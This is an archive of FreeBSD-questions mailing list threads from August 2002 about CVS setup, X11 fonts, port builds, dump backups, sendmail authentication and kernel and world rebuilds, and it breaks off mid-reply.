>     bash-2.05a$ cd /usr/local/webdev
>     bash-2.05a$ cvs import -m "Imported Sources" met gunks start
                  cvs -d :pserver:192.168.1.30:/usr/local/repository \
                  -m "Imported Sources" met gunks start

>     cvs import: No CVSROOT specified!  Please use the `-d' option
>     cvs [import aborted]: or set the CVSROOT environment variable.
> Any ideas on what I'm missing ?

         Put in your environment setup:
           export CVSROOT=:pserver:192.168.1.30:/usr/local/repository
          (or the equivalent).

 - John Mills


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From owner-freebsd-questions  Thu Aug  1 19:56:26 2002
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From: Parker Brown <phbrown@charter.net>
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To: Kyle Butt <kylebutt@myrealbox.com>
Cc: BSDQuestions <freebsd-questions@FreeBSD.ORG>
Subject: [Fwd: [Fwd: startx  refuses to open *some* font files]]
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This is a multi-part message in MIME format.
--------------194B34CEB9594375FBFA49F7
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 boundary="------------07FC388F1A72C21CE8A87350"


--------------07FC388F1A72C21CE8A87350
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Check out the error messages (see attachment).  They've gotta be
relevant.



--
Pb



--------------07FC388F1A72C21CE8A87350
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Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
Check out the error messages (see attachment).&nbsp; They've gotta be relevant.
<br>&nbsp;
<br>&nbsp;
<pre>--&nbsp;
Pb</pre>
&nbsp;</html>

--------------07FC388F1A72C21CE8A87350--

--------------194B34CEB9594375FBFA49F7
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

X-Mozilla-Status2: 00000000
Message-ID: <3D49EE63.A365D1DA@charter.net>
Date: Thu, 01 Aug 2002 19:28:51 -0700
From: Parker Brown <phbrown@charter.net>
X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.2 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Kyle Butt <kylebutt@myrealbox.com>
CC: freebsd-questions@freebsd.org
Subject: Re: [Fwd: startx  refuses to open *some* font files]
References: <3D49A5AB.50A4337B@charter.net> <20020801180928.A3298@kylebutt.dorms.usu.edu>
Content-Type: multipart/alternative;
 boundary="------------9872C4E835133ED1F68A1D5E"


--------------9872C4E835133ED1F68A1D5E
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

OK, did that.  Those three files *still* seem to be unusable to X11, but it's
interesting that a new (with today's date) font.dir appeared in them, whereas
a font.dir already existed in the other files.  This has to be relavent.
By the way, I've tried adding a    .xftconfig  file and maybe a couple of
other things.  I get the feeling that using  startx (via the "wrapper") to
start X11V6 v4, and not using    xdm   might figure into my problem.  But I
haven't been successful using xdm yet.

Pb



Kyle Butt wrote:

> On Thu, Aug 01, 2002 at 02:18:35PM -0700, Parker Brown wrote:
> >
> >
> > --
> > Pb
> >
> >
>
> > X-Mozilla-Status2: 00000000
> > Date: Thu, 01 Aug 2002 13:44:18 -0700
> > From: Parker Brown <phbrown@charter.net>
> > X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.2 i386)
> > X-Accept-Language: en
> > To: BSDQuestions <freebsd-questions@FreeBSD.ORG>
> > Subject: startx  refuses to open *some* font files
> >
> > FreeBSD 4.6 with X11 v4.  Trying to get some easily readable fonts on
> > X11,  particularly on netscape.  I installed the urwfonts from x11-fonts
> >
> > ports, but got the     unable to open display ""   when I ran xset, so I
> >
> > edited /etc/X11/XF86Config to include an entry for .../fonts/URW.  Still
> >
> > no apparent difference in appearance, but I noticed that startx pumps
> > out messages like     startx:  could not init font path element
> > /usr/X11R6/lib/X11/fonts/URW.   The same messages appear regarding
> > ../fonts/Type1  and ../fonts/Speedo.
> >
> > X11 has no problem with any other fonts listed in  /etc/X11/XF86Config.
> > All fonts listed in the config file have entries in
> > /usr/X11R6/lib/x11/fonts,  but apparently URW, Type1 and Speedo are
> > "not welcome" to the tyrant X11.
> >
> > Haven't figured out xdm yet, so I installed a "wrapper" and use startx.
> >
> > Can anybody help me figure this one out?  I've gone about as far as I
> > can
> > with this one.
> >
> >
> > --
> > Pb
> >
> >
>
> try mkfontdir in the failing directories

--
Pb



--------------9872C4E835133ED1F68A1D5E
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
OK, did that.&nbsp; Those three files *still* seem to be unusable to X11,
but it's interesting that a new (with today's date) font.dir appeared in
them, whereas a font.dir already existed in the other files.&nbsp; This
has to be relavent.
<br>By the way, I've tried adding a&nbsp;&nbsp;&nbsp; .xftconfig&nbsp;
file and maybe a couple of other things.&nbsp; I get the feeling that using&nbsp;
startx (via the "wrapper") to start X11V6 v4, and not using&nbsp;&nbsp;&nbsp;
xdm&nbsp;&nbsp; might figure into my problem.&nbsp; But I haven't been
successful using xdm yet.
<br>&nbsp;
<br>Pb
<br>&nbsp;
<br>&nbsp;
<p>Kyle Butt wrote:
<blockquote TYPE=CITE>On Thu, Aug 01, 2002 at 02:18:35PM -0700, Parker
Brown wrote:
<br>>
<br>>
<br>> --
<br>> Pb
<br>>
<br>>
<p>> X-Mozilla-Status2: 00000000
<br>> Date: Thu, 01 Aug 2002 13:44:18 -0700
<br>> From: Parker Brown &lt;phbrown@charter.net>
<br>> X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.2 i386)
<br>> X-Accept-Language: en
<br>> To: BSDQuestions &lt;freebsd-questions@FreeBSD.ORG>
<br>> Subject: startx&nbsp; refuses to open *some* font files
<br>>
<br>> FreeBSD 4.6 with X11 v4.&nbsp; Trying to get some easily readable
fonts on
<br>> X11,&nbsp; particularly on netscape.&nbsp; I installed the urwfonts
from x11-fonts
<br>>
<br>> ports, but got the&nbsp;&nbsp;&nbsp;&nbsp; unable to open display
""&nbsp;&nbsp; when I ran xset, so I
<br>>
<br>> edited /etc/X11/XF86Config to include an entry for .../fonts/URW.&nbsp;
Still
<br>>
<br>> no apparent difference in appearance, but I noticed that startx pumps
<br>> out messages like&nbsp;&nbsp;&nbsp;&nbsp; startx:&nbsp; could not
init font path element
<br>> /usr/X11R6/lib/X11/fonts/URW.&nbsp;&nbsp; The same messages appear
regarding
<br>> ../fonts/Type1&nbsp; and ../fonts/Speedo.
<br>>
<br>> X11 has no problem with any other fonts listed in&nbsp; /etc/X11/XF86Config.
<br>> All fonts listed in the config file have entries in
<br>> /usr/X11R6/lib/x11/fonts,&nbsp; but apparently URW, Type1 and Speedo
are
<br>> "not welcome" to the tyrant X11.
<br>>
<br>> Haven't figured out xdm yet, so I installed a "wrapper" and use startx.
<br>>
<br>> Can anybody help me figure this one out?&nbsp; I've gone about as
far as I
<br>> can
<br>> with this one.
<br>>
<br>>
<br>> --
<br>> Pb
<br>>
<br>>
<p>try mkfontdir in the failing directories</blockquote>

<pre>--&nbsp;
Pb</pre>
&nbsp;</html>

--------------9872C4E835133ED1F68A1D5E--


--------------194B34CEB9594375FBFA49F7
Content-Type: text/plain; charset=us-ascii;
 name="logfilex"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="logfilex"

Script started on Thu Aug  1 17:37:31 2002
X Error of failed request:  86
  Major opcode of failed request:  51 (X_SetFontPath)
  Serial number of failed request:  7
  Current serial number in output stream:  9

Script done on Thu Aug  1 17:37:31 2002

--------------194B34CEB9594375FBFA49F7--


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From owner-freebsd-questions  Thu Aug  1 20:34:48 2002
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From: Ian Moore <imoore@picknowl.com.au>
To: "bsd-questions" <freebsd-questions@FreeBSD.ORG>
Subject: gdk-pixbuf.h problem
Date: Fri, 2 Aug 2002 13:04:35 +0930
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Hi,
I've searched through loads of postings about missing gnome library probl=
ems=20
on 4.6 but can't seem to find an actual solution, so forgive me if this h=
as=20
already been answered, I have tried :)
I'm running 4.6-RELEASE with XFree86 4.2. I just ried to install=20
xcdroast-0.98.a.10 from the port and got the following output:
=3D=3D=3D>  Extracting for xcdroast-0.98.a.10
>> Checksum OK for xcdroast-0.98alpha10.tar.gz.
=3D=3D=3D>   xcdroast-0.98.a.10 depends on executable: gmake - found
=3D=3D=3D>   xcdroast-0.98.a.10 depends on shared library: X11.6 - found
=3D=3D=3D>   xcdroast-0.98.a.10 depends on shared library: glib12.3 - fou=
nd
=3D=3D=3D>   xcdroast-0.98.a.10 depends on shared library: gtk12.2 - foun=
d
=3D=3D=3D>   xcdroast-0.98.a.10 depends on shared library: Imlib.5 - foun=
d
=3D=3D=3D>  Patching for xcdroast-0.98.a.10
=3D=3D=3D>  Applying FreeBSD patches for xcdroast-0.98.a.10
for i in xcdroast.h Makefile ; do  /usr/bin/perl -pi -e=20
"s|%%PREFIX%%|/usr/X11R6|g"=20
/usr/ports/sysutils/xcdroast/work/xcdroast-0.98alpha10/$i ;  done
for i in Makefile xcdroast.h ; do  /usr/bin/perl -pi -e=20
"s|%%LOCALBASE%%|/usr/local|g"=20
/usr/ports/sysutils/xcdroast/work/xcdroast-0.98alpha10/$i ;  done
=3D=3D=3D>  Configuring for xcdroast-0.98.a.10
=3D=3D=3D>  Building for xcdroast-0.98.a.10
cc -Wall `/usr/X11R6/bin/gtk12-config --cflags` `gdk-pixbuf-config --cfla=
gs`=20
-DPRE_PREFIX=3D"\"/usr/X11R6\"" -DPRE_LIBDIR=3D"\"/usr/X11R6/lib/xcdroast=
-0.98\""=20
-DCDRTOOLS_PREFIX=3D"\"/usr/local\"" -D_LARGEFILE_SOURCE -D_FILE_OFFSET_B=
ITS=3D64=20
-DUSE_LARGEFILES -c main.c
gdk-pixbuf-config: not found
main.c:14: gdk-pixbuf/gdk-pixbuf.h: No such file or directory
gmake: *** [main.o] Error 1
*** Error code 2

Stop in /usr/ports/sysutils/xcdroast.


gdk-pixbuf.h doesn't seem to be on my system.
Is there a way to fix the port, or do I have to cvsup my ports tree to so=
lve=20
it?
BTW I use kde, so I don't have gnome installed, I just want this port.
Cheers,
Ian


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From owner-freebsd-questions  Thu Aug  1 20:58:38 2002
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From: "Pietralla, Siegfried P" <siegfried.pietralla@eds.com>
To: "'John Mills'" <john.m.mills@alum.mit.edu>,
	Maciej Szewczyk <rodion@pirx.9lo.lublin.pl>
Cc: questions@FreeBSD.ORG
Subject: RE: files to files with .txt
Date: Fri, 2 Aug 2002 13:58:20 +1000 
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> -----Original Message-----
> From: John Mills [mailto:jmmills@telocity.com]
> Sent: Friday, 2 August 2002 12:07
> To: Maciej Szewczyk
> Cc: questions@FreeBSD.ORG
> Subject: Re: files to files with .txt
> 
> 
> Hello -
> 
> On Wed, 31 Jul 2002, Maciej Szewczyk wrote:
> 
> > Hi,
> > I have about 1000 files.
> > ls -1
> > 1
> > 2
.
.
.
> > And now I must have 1000 files with .txt ->
> > ls -1
> > 1.txt
> > 2.txt
.
.
.
> 
> DISCLAIMER - This is on-the-fly - you'll probably need to 
> tune it and/or
> correct it. Of course you could just write it as a [bash] 
> script. Get the
> form right _without_ the 'mv' line, and if possible save a 
> copy of your
> directory before you munge the real files.
> 
> $ ls > ../1000_files
> $ for FILENAME in `cat ../1000_files`
>  > do
>  >  echo "Renaming $FILENAME to $FILENAME.txt"
>  >  mv $FILENAME $FILENAME.txt
>  > done
>  Renaming 001 to 001.txt
>  ....
> 
> $
> 
>  - John Mills

i've found that the easiest ( and least typing ) way to check stuff like
this is to :

for i in * ; do echo mv $i $i.txt ; done

to see what you're going to get, then just append " | sh " ;

for i in * ; do echo mv $i $i.txt ; done | sh

to execute it.

regards,
siegfried.

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From owner-freebsd-questions  Thu Aug  1 21:35:46 2002
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Date: Fri, 2 Aug 2002 00:35:51 -0400 (EDT)
From: Joe Marcus Clarke <marcus@marcuscom.com>
To: Ian Moore <imoore@picknowl.com.au>
Cc: bsd-questions <freebsd-questions@FreeBSD.ORG>
Subject: Re: gdk-pixbuf.h problem
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On Fri, 2 Aug 2002, Ian Moore wrote:

> Hi,
> I've searched through loads of postings about missing gnome library problems
> on 4.6 but can't seem to find an actual solution, so forgive me if this has
> already been answered, I have tried :)
> I'm running 4.6-RELEASE with XFree86 4.2. I just ried to install
> xcdroast-0.98.a.10 from the port and got the following output:
> ===>  Extracting for xcdroast-0.98.a.10
> >> Checksum OK for xcdroast-0.98alpha10.tar.gz.
> ===>   xcdroast-0.98.a.10 depends on executable: gmake - found
> ===>   xcdroast-0.98.a.10 depends on shared library: X11.6 - found
> ===>   xcdroast-0.98.a.10 depends on shared library: glib12.3 - found
> ===>   xcdroast-0.98.a.10 depends on shared library: gtk12.2 - found
> ===>   xcdroast-0.98.a.10 depends on shared library: Imlib.5 - found
> ===>  Patching for xcdroast-0.98.a.10
> ===>  Applying FreeBSD patches for xcdroast-0.98.a.10
> for i in xcdroast.h Makefile ; do  /usr/bin/perl -pi -e
> "s|%%PREFIX%%|/usr/X11R6|g"
> /usr/ports/sysutils/xcdroast/work/xcdroast-0.98alpha10/$i ;  done
> for i in Makefile xcdroast.h ; do  /usr/bin/perl -pi -e
> "s|%%LOCALBASE%%|/usr/local|g"
> /usr/ports/sysutils/xcdroast/work/xcdroast-0.98alpha10/$i ;  done
> ===>  Configuring for xcdroast-0.98.a.10
> ===>  Building for xcdroast-0.98.a.10
> cc -Wall `/usr/X11R6/bin/gtk12-config --cflags` `gdk-pixbuf-config --cflags`
> -DPRE_PREFIX="\"/usr/X11R6\"" -DPRE_LIBDIR="\"/usr/X11R6/lib/xcdroast-0.98\""
> -DCDRTOOLS_PREFIX="\"/usr/local\"" -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
> -DUSE_LARGEFILES -c main.c
> gdk-pixbuf-config: not found
> main.c:14: gdk-pixbuf/gdk-pixbuf.h: No such file or directory
> gmake: *** [main.o] Error 1
> *** Error code 2
>
> Stop in /usr/ports/sysutils/xcdroast.
>
>
> gdk-pixbuf.h doesn't seem to be on my system.
> Is there a way to fix the port, or do I have to cvsup my ports tree to solve
> it?
> BTW I use kde, so I don't have gnome installed, I just want this port.

You will need to cvsup your ports.  The latest xcdroast has the correct
fix to find the gdk-pixbuf include path.

Joe

> Cheers,
> Ian
>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
>
>
>

PGP Key : http://www.marcuscom.com/pgp.asc


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From owner-freebsd-questions  Thu Aug  1 22: 7:54 2002
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Date: Fri, 2 Aug 2002 11:17:17 +0900 (JST)
From: Roger Williams <root@edo.naviservers.net>
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Subject: Termcap errors
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Hello All,
  Im trying to upgrade from 4.4_STABLE to 4.4-RELEASE p22 and am getting
the following error:

===> share/termcap
TERM=dumb ex - /usr/src/share/termcap/termcap.src <
/usr/src/share/termcap/reorder > /dev/null
*** Error code 1

Just before this machine I did another with the same parameters and all
went well.  Can anyone explain what is going on or point me in a
direction.  I even tried the whole proccess again from the begining
(ran cvs again) and it craps out in the same place everytime.  Any help
would be appreciated.

Thanks,
Roger




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From owner-freebsd-questions  Thu Aug  1 22: 7:58 2002
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Date: Fri, 2 Aug 2002 11:21:28 +0900 (JST)
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Subject: termcap error
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Hello All,
  Im trying to upgrade from 4.4_STABLE to 4.4-RELEASE p22 and am getting
the following error:

===> share/termcap
TERM=dumb ex - /usr/src/share/termcap/termcap.src <
/usr/src/share/termcap/reorder > /dev/null
*** Error code 1

Just before this machine I did another with the same parameters and all
went well.  Can anyone explain what is going on or point me in a
direction.  I even tried the whole proccess again from the begining
(ran cvs again) and it craps out in the same place everytime.  Any help
would be appreciated.

Thanks,
Roger




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From owner-freebsd-questions  Thu Aug  1 22:54:23 2002
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Date: Fri, 02 Aug 2002 12:53:36 +0700
To: freebsd-questions@FreeBSD.ORG
From: Roger Merritt <mcrogerm@stjohn.ac.th>
Subject: Trap 12 page fault in kernel mode
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I've been having problems running portsdb and portupgrade remotely for a
couple of months now. When I use SSH to log in and run portsdb I get a hell
of a lot of error messages (mostly saying "" doesn't exist and the
dependency list is incomplete) and after a couple of hours the server
reboots. Today I caught it while the screen was still displaying the error
message, "Trap 12 page fault while in kernel mode". Today I was running the
file output by 'portversion -c > needs.update'. The machine had been
chugging away merrily for a couple of hours downloading and compiling when
the same thing happened.

I guess from the term "page fault" there has been a glitch in virtual
memory. Is this a symptom that my hard drive might be developing problems?
Oddly enough, I've run similar commands from the console and they've
completed without a reboot.

-- 
Roger


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From owner-freebsd-questions  Thu Aug  1 23:44:48 2002
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Date: Fri, 2 Aug 2002 07:44:31 +0100
From: Matthew Seaman <m.seaman@infracaninophile.co.uk>
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Subject: Re: ssh version after cvsup
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On Thu, Aug 01, 2002 at 11:35:16PM +0200, Hanspeter Roth wrote:

> which ssh version will I get after cvsuping to RELENG_4_6?

OpenSSH 3.4p1

http://www.freebsd.org/cgi/cvsweb.cgi/src/crypto/openssh/version.h?rev=1.1.1.1.2.8.2.1&content-type=text/x-cvsweb-markup&only_with_tag=RELENG_4_6

	Cheers,

	Matthew

-- 
Dr Matthew J Seaman MA, D.Phil.                       26 The Paddocks
                                                      Savill Way
Tel: +44 1628 476614                                  Marlow
Fax: +44 0870 0522645                                 Bucks., SL7 1TH UK

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From owner-freebsd-questions  Thu Aug  1 23:58: 7 2002
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Subject: user ppp vs. kernel ppp
From: karl agee <kdagee@attglobal.net>
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So what is the difference btwn user ppp and kernel ppp??  I've read the
docs and not sure what to make of them....

am i correct that user ppp is now the "official" version??

Right now, I use kppp to dialout, works fine..which does it use??

Asking this mainly 'cause I am reading up on packet filtering firewalls
using ipfw and ipfilter.

--karl




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From owner-freebsd-questions  Fri Aug  2  0: 3: 9 2002
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From: "Jonas Fornander" <jonas@netwood.net>
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Subject: Dump questions
Date: Fri, 2 Aug 2002 00:05:15 -0700
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If you dump a 50GB /usr file system that has only 2GB of files in it to
a second drive, does the second drive need to be 50GB too or can dump to
a 20GB drive?

Do I need to create directories on the second drive (i.e. dump_of_root,
dump_of_home etc..) or does dump create those automatically?

When I try to dump / to a second drive, I get the following error:
#dump -0u -f /dev/ad2s1e /
  DUMP: Date of this level 0 dump: Thu Aug  1 23:48:19 2002
  DUMP: Date of last level 0 dump: the epoch
  DUMP: Dumping /dev/ad0s1a (/) to /dev/ad2s1e
  DUMP: mapping (Pass I) [regular files]
  DUMP: mapping (Pass II) [directories]
  DUMP: estimated 61792 tape blocks on 1.59 tape(s).
  DUMP: Cannot open output "/dev/ad2s1e".
  DUMP: Do you want to retry the open?: ("yes" or "no") y
  DUMP: Cannot open output "/dev/ad2s1e". 

I get the same error if I try to dump into a folder:
dump -0u -f /dev/ad2s1e/dump_of_root /

Why can't dump write to the second drive?

TIA for any help.

Jonas Fornander - System Administrator
Netwood Communications, LLC - www.netwood.net
Find out why we're better - 310-442-1530


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From owner-freebsd-questions  Fri Aug  2  0:20:10 2002
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Date: Fri, 02 Aug 2002 03:05:39 -0400
To: Steven Lake <raiden@shell.core.com>,
	freebsd-questions@FreeBSD.ORG
From: Lord Raiden <raiden23@netzero.net>
Subject: Re: Mixing SMTP auth methods
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         Ok, let me get this straight.  If a user is on the local lan or a 
valid IP you want sendmail to validate them using the relay-domains file, 
but if they're roaming, you want them to be able to use this same SMTP 
server to send mail by asking them to authenticate?

         So in short, if they don't have a valid IP class allowed in the 
relay-domains file, they'll have to authenticate on the server, but if they 
do have a valid IP in the relay-domains file, then they won't have to 
authenticate.  Am I close?

At 09:12 PM 8/1/02 -0500, Steven Lake wrote:
>         Hi all.  I got a question.  Is there a way that I can setup
>sendmail for both user/pass auth and IP auth?  I know that sendmail
>determins if a user is allowed to relay though a server based on the
>relay-domains file, but I also want users who aren't on our IP pool to be
>able to use our SMTP servers via standard user/pass authentication.
>
>         How can I mix these two on the same server without causing issues?
>
>
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-- The Raiden Knows

"Remember amateurs built the ark  -- professionals built the Titanic." - 
Unknown

"Just when you think you have life figured out and all is going well, watch 
your step, for you are about to fall." - Ancient Proverb

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From owner-freebsd-questions  Fri Aug  2  0:24:19 2002
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> From:          "nuro_pro" <maillist@withdoc.net>
> To:            <freebsd-questions@FreeBSD.ORG>
> Subject:       newbie question: Will the packages that I installed from ports be recompiled automatically with 'make world'?
> Date:          Fri, 2 Aug 2002 00:52:58 +0900

> I finished make world successfully .
> After that , I started to install some packages like mrtg and so on.
> Now I want to do 'make world' again. And I have a question.
> Will the packages that I installed from ports be recompiled automatically
> with 'make world'?

As already told, no.

> If it does , I don't have to recompile the packages installed from ports
> ..Right?

Even if it doesn't, you still don't need to re-compile the installed 
packages after 'make world'. They will just continue to work.
--
Toomas Aas | toomas.aas@raad.tartu.ee | http://www.raad.tartu.ee/~toomas/
* ROM BASIC ERROR: Computer not found.


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From owner-freebsd-questions  Fri Aug  2  0:26:46 2002
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From: "f.johan.beisser" <jan@caustic.org>
To: Brad Waite <brad@wcubed.net>
Cc: questions@FreeBSD.ORG
Subject: Re: DVD-R
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On Thu, 1 Aug 2002, Brad Waite wrote:

> I'm looking to backup to a Pioneer A04 DVD-R drive.  Is this possible,
> and if so should I use burncd or cdrecord?

cdrecord is for scsi cdroms burners.
burncd works fine with IDE ones. it's in the documentation, after all.

so, if you're burning to DVD-R, you just have to make sure that whatever's
doing the burn can handle DVD filesystems and sizes.

> Please reply off-list, thanks.

-------/ f. johan beisser /--------------------------------------+


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From owner-freebsd-questions  Fri Aug  2  0:29:43 2002
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Date: Fri, 2 Aug 2002 00:29:39 -0700 (PDT)
From: "f.johan.beisser" <jan@caustic.org>
To: leoric <leoric@charter.net>
Cc: questions@FreeBSD.ORG
Subject: Re: WHAT NOW? Another kernel build error
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On Thu, 1 Aug 2002, leoric wrote:

> I am trying to building a custom kernel but I get this error when I do a
> "make depend". This also happens when I try to build a plain GENERIC kernel:

looks like a problem with your make files.

> "/usr/src/sys/modules/accf_data/../../conf/kmod.mk", line 63: Could not
> find bsd.init.mk
> "/usr/src/sys/modules/accf_data/../../conf/kmod.mk", line 190: Could not
> find bsd.links.mk
> make: fatal errors encountered -- cannot continue
> *** Error code 1

you probably need to update /usr/share/mk from /usr/src/share/mk.

	cd /usr/src/share/mk
	more bsd.README
	make all install

then try your kernel build again.

-------/ f. johan beisser /--------------------------------------+
  http://caustic.org/~jan                      jan@caustic.org
    "John Ashcroft is really just the reanimated corpse
         of J. Edgar Hoover." -- Tim Triche


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From owner-freebsd-questions  Fri Aug  2  0:35:16 2002
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	freebsd-questions@freebsd.org
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> From:          Anshuman Kanwar <akanwar@engineering.ucsb.edu>
> To:            <freebsd-questions@FreeBSD.ORG>
> Subject:       RST limit and ICMP_BANDLIM

> I understand that RST packets are returned for TCP packets that are
> reseived for closed ports. And a log messsge of the form:
> 
> Limiting closed port RST response from 233 to 200 packets per second
> 
> is generated.
> 
> My questions about this are:
> 
>  1) What happens if the packets are dropped without returning a RST.
> Will this be against RFC specs.
> 
>  2) Is there a kernel option to enable the above behavior. I could not
> find anything in LINT.

There is the net.inet.tcp.blackhole sysctl that does what you seem to 
be looking for. See man blackhole for details.
--
Toomas Aas | toomas.aas@raad.tartu.ee | http://www.raad.tartu.ee/~toomas/
* Testicle -- n., a humorous question to an exam.


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From owner-freebsd-questions  Fri Aug  2  0:38:25 2002
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Date: Fri, 2 Aug 2002 02:38:20 -0500 (CDT)
From: Steven Lake <raiden@shell.core.com>
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To: Lord Raiden <raiden23@netzero.net>
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	Yep.  You hit it right on the head.

On Fri, 2 Aug 2002, Lord Raiden wrote:

>          Ok, let me get this straight.  If a user is on the local lan or a
> valid IP you want sendmail to validate them using the relay-domains file,
> but if they're roaming, you want them to be able to use this same SMTP
> server to send mail by asking them to authenticate?
>
>          So in short, if they don't have a valid IP class allowed in the
> relay-domains file, they'll have to authenticate on the server, but if they
> do have a valid IP in the relay-domains file, then they won't have to
> authenticate.  Am I close?
>
> At 09:12 PM 8/1/02 -0500, Steven Lake wrote:
> >         Hi all.  I got a question.  Is there a way that I can setup
> >sendmail for both user/pass auth and IP auth?  I know that sendmail
> >determins if a user is allowed to relay though a server based on the
> >relay-domains file, but I also want users who aren't on our IP pool to be
> >able to use our SMTP servers via standard user/pass authentication.
> >
> >         How can I mix these two on the same server without causing issues?
> >
> >
> >To Unsubscribe: send mail to majordomo@FreeBSD.org
> >with "unsubscribe freebsd-questions" in the body of the message
>
>
> -- The Raiden Knows
>
> "Remember amateurs built the ark  -- professionals built the Titanic." -
> Unknown
>
> "Just when you think you have life figured out and all is going well, watch
> your step, for you are about to fall." - Ancient Proverb
>
>


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From owner-freebsd-questions  Fri Aug  2  0:39: 9 2002
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Date: Fri, 2 Aug 2002 00:39:03 -0700 (PDT)
From: "f.johan.beisser" <jan@caustic.org>
To: Charlie ROOT <root@asuka.naviservers.net>
Cc: questions@FreeBSD.ORG
Subject: Re: MAKEDEV Error
In-Reply-To: <Pine.BSF.4.33.0208020558440.66832-100000@asuka.naviservers.net>
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On Fri, 2 Aug 2002, Charlie ROOT wrote:

>   I got the following error:
>
> cd /dev && /bin/sh MAKEDEV all
> MAKEDEV: arith: syntax error: "<garbage text I cant copy and paste>"

ok.

> Any ideas, I'm affraid to restart in fear that not all DEVS were created
> and the machine wont come back up.  It is a production server at a remote
> location.

as root:
	cp /usr/src/etc/MAKEDEV /usr/src/etc/MAKEDEV.local /dev
	sh /dev/MAKEDEV all

if that doesn't work, you have other problems.

generally, for a remote machine you should upgrade the kernel, then
buildworld, installworld, then makedev. most character devices will
recover just fine if they're not really upgraded untill after the new
kernel's installed. this gives you the opertunity to back out of your
changes before they're permanent.

so, basically:

	cd /usr/src/sys/$ARCH/conf
	config GENERIC
	cd ../../compile/GENERIC
	make depend
	make
	make install
	make clean

	reboot

	cd /usr/src
	make buildworld
	make installworld

	reboot

	mergemaster

	reboot

you don't have to follow this exactly; for example, i do the buildworld
first, then compile and install the new kernel. i also avoid that amount
of reboots out of habit.


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From owner-freebsd-questions  Fri Aug  2  0:42:41 2002
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Date: Fri, 2 Aug 2002 00:42:28 -0700 (PDT)
From: "f.johan.beisser" <jan@caustic.org>
To: Revy <revy@revynet.org>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: mplayer issues with sun audio
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On Thu, 1 Aug 2002, Revy wrote:

> I have been looking around, how do  get sun audio support with the port
> mplayer?

i must be horribly lost now. FreeBSD 4.6 doesn't run on sun hardware to
the best of my knowledge. there is a sparc64 port of FreeBSD-CURRENT, but
i don't know how far along, and how stable that is.

> I am currently running FreeBSD 4.6.... I can use the PCM driver or the
> OSS driver tat i have.

for what soundcard?

did you even look at the FreeBSD supported hardware information?

> if anyone has any suggestions on how i need to modify my system it would
> be greatly appreciated.

if you could provide more information, that would also be really
appreciated.

perhaps some dmesg output..


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From owner-freebsd-questions  Fri Aug  2  0:48:55 2002
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Date: Fri, 2 Aug 2002 08:48:40 +0100
From: Matthew Seaman <m.seaman@infracaninophile.co.uk>
To: Jonas Fornander <jonas@netwood.net>
Cc: "'freebsd-questions@FreeBSD.org'" <freebsd-questions@FreeBSD.ORG>
Subject: Re: Dump questions
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On Fri, Aug 02, 2002 at 12:05:15AM -0700, Jonas Fornander wrote:
 
> If you dump a 50GB /usr file system that has only 2GB of files in it to
> a second drive, does the second drive need to be 50GB too or can dump to
> a 20GB drive?

That should work fine --- dump doesn't create huge images of empty
space, just the files, directories and metadata sufficient to recreate
the filesystem.
 
> Do I need to create directories on the second drive (i.e. dump_of_root,
> dump_of_home etc..) or does dump create those automatically?

It looks like you're trying to write out a dump archive as a file into
a second filesystem -- so the normal rules for output to files apply.
The path to the directory where you want to write your dump archive
must exist.

If what you're trying to do is replicate the filesystem to another
drive, then you need to pipe the output of dump(1) into restore(1).  I
wrote quite a long piece about doing that in
http://www.freebsd.org/cgi/getmsg.cgi?fetch=3471062+3475577+/usr/local/www/db/text/2002/freebsd-questions/20020630.freebsd-questions

> When I try to dump / to a second drive, I get the following error:
> #dump -0u -f /dev/ad2s1e /
>   DUMP: Date of this level 0 dump: Thu Aug  1 23:48:19 2002
>   DUMP: Date of last level 0 dump: the epoch
>   DUMP: Dumping /dev/ad0s1a (/) to /dev/ad2s1e
>   DUMP: mapping (Pass I) [regular files]
>   DUMP: mapping (Pass II) [directories]
>   DUMP: estimated 61792 tape blocks on 1.59 tape(s).
>   DUMP: Cannot open output "/dev/ad2s1e".
>   DUMP: Do you want to retry the open?: ("yes" or "no") y
>   DUMP: Cannot open output "/dev/ad2s1e". 
> 
> I get the same error if I try to dump into a folder:
> dump -0u -f /dev/ad2s1e/dump_of_root /
> 
> Why can't dump write to the second drive?

You seem to be getting the source and destination mixed up in the dump
command.  The file you output the dump to is the argument immediately
following the '-f' flag: that should be a standard system filename in
your case.  (Other entries you may see commonly are '-' meaning write
to the standard output or '/dev/nrst0' or the like, meaning write to a
tape device.)  The last entry on the dump command line is the
filesystem to dump.  That can either be a directory from a mounted
file system, or the device file containing the filesystem you want to
dump.

In your case, you want to dump the root filesystem, which seems to be
living on /dev/ad0s1a, onto a partition on your ad2 drive.  Which
means you need to create a filesystem on /dev/ad2s1e and mount it:

    newfs /dev/ad2s1e
    mount /mnt /dev/ad2s1e
    mkdir /mnt/dump_of_root
    dump -0u -f /mnt/dump_of_root/root.dump /
    umount /mnt

This creates a file 'root.dump' containing an image of your root
filesystem.  Note that this sequence of commands will destroy anything
previously existing on the /dev/ad2s1e partition.  If you want to keep
a regular series of backups on your other drive, omit the 'newfs'
step, and label your output files by date:

    dump -0u -f /mnt/dump_of_root/root-`date +%Y%m%d`.dump /

	Cheers,

	Matthew

-- 
Dr Matthew J Seaman MA, D.Phil.                       26 The Paddocks
                                                      Savill Way
Tel: +44 1628 476614                                  Marlow
Fax: +44 0870 0522645                                 Bucks., SL7 1TH UK

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From owner-freebsd-questions  Fri Aug  2  0:49: 1 2002
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From: "f.johan.beisser" <jan@caustic.org>
To: karl agee <kdagee@attglobal.net>
Cc: freebsd-questions <FreeBSD-Questions@FreeBSD.ORG>
Subject: Re: user ppp vs. kernel ppp
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On 4 Aug 2002, karl agee wrote:

